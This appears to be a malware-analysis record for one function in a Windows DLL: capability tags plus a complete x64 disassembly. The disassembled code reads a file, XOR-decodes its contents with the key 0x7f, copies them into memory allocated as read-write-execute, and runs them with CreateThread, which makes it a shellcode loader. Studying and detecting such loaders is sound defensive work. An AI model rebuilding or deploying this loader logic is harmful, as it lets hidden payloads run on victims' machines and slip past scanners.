Function at 0x180001d70
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x180039080]
xor rax, rsp
mov qword [rbp + 0xb0], rax
mov rbx, rcx
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x60]
call fcn.1800269a0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180001dc3
mov rdx, qword [rbx]
lea rcx, [rbp - 0x60]
call fcn.180003ca0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
cmp qword [rbp + 0x30], 0
jne 0x180001e25
cmp qword [rbx + 0x18], 0xf
jbe 0x180001e03
mov rbx, qword [rbx]
mov r9, rbx
lea r8, str.Failed_to_open_file:__s
mov edx, 0x100
lea rcx, [0x18003b8f0]
call fcn.180001080
xor edi, edi
jmp 0x18000208e
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x60]
call fcn.180003280
lea rcx, [rbp - 0x60]
call fcn.180003360
xorps xmm0, xmm0
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
lea r14, [rax + rcx]
movdqu xmmword [rbp - 0x80], xmm0
xor edi, edi
mov esi, edi
mov qword [rbp - 0x70], rdi
test r14, r14
je 0x180001ed8
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x180002123
cmp r14, 0x1000
jb 0x180001ea4
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x180002129
call fcn.180005d64
test rax, rax
je 0x18000211d
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x180001eaf
mov rcx, r14
call fcn.180005d64
mov rbx, rax
mov qword [rbp - 0x80], rbx
lea rsi, [rbx + r14]
mov qword [rbp - 0x70], rsi
mov r8, r14
xor edx, edx
mov rcx, rbx
call fcn.1800269a0
mov qword [rbp - 0x78], rsi
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
jmp 0x180001edc
mov rbx, qword [rbp - 0x80]
lea r8, [rax + rcx]
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.180003550
lea rcx, [rbp - 0x50]
call fcn.180003b60
test rax, rax
jne 0x180001f2c
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx - 0x18], 0
cmovne eax, edx
or eax, dword [rbp + rcx - 0x50]
and eax, 0x17
mov dword [rbp + rcx - 0x50], eax
mov edx, dword [rbp + rcx - 0x4c]
and edx, eax
jne 0x18000212f
mov rdx, qword [rsp + 0x70]
add rdx, qword [rsp + 0x68]
mov r8d, edi
test edx, edx
je 0x180001fbf
cmp edx, 0x40
jb 0x180001fc4
mov r10d, edx
and r10d, 0xffffffc0
movdqa xmm2, xmmword [0x180032fb0]
mov r9d, 0x20
nop
mov eax, r8d
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
lea eax, [r9 - 0x10]
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
mov eax, r9d
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
lea eax, [r9 + 0x10]
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
add r8d, 0x40
add r9d, 0x40
cmp r8d, r10d
jb 0x180001f60
cmp r8d, edx
jae 0x180001fdd
mov ecx, r8d
add rcx, rbx
sub edx, r8d
mov eax, edx
nop
xor byte [rcx], 0x7f
lea rcx, [rcx + 1]
sub rax, 1
jne 0x180001fd0
mov rcx, qword [rsp + 0x68]
add rcx, qword [rsp + 0x70]
mov r15d, ecx
mov r9d, 0x40
mov r8d, 0x1000
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x180002055
mov r8d, r15d
mov rdx, rbx
mov rcx, rax
call fcn.180026300
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8, r14
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x180002047
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x180002055
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
test rbx, rbx
je 0x18000208e
sub rsi, rbx
mov rax, rbx
cmp rsi, 0x1000
jb 0x180002082
add rsi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000211d
mov rdx, rsi
mov rcx, rbx
call fcn.180005d30
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r12
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.180002fc0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rcx, qword [rbp - 0x60]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x18]
mov dword [rbp + rdx - 0x64], r8d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call fcn.1800057e4
nop
mov eax, edi
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.180005d10
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.18000eb28
nop
call fcn.180004d90
int3
call fcn.1800011e0
nop
test dl, 4
je 0x18000213d
lea rbx, str.ios_base::badbit_set
jmp 0x180002152
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.180001350
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.180001c10
lea rdx, [0x180036f40]
lea rcx, [rsp + 0x40]
call fcn.180007be4
int3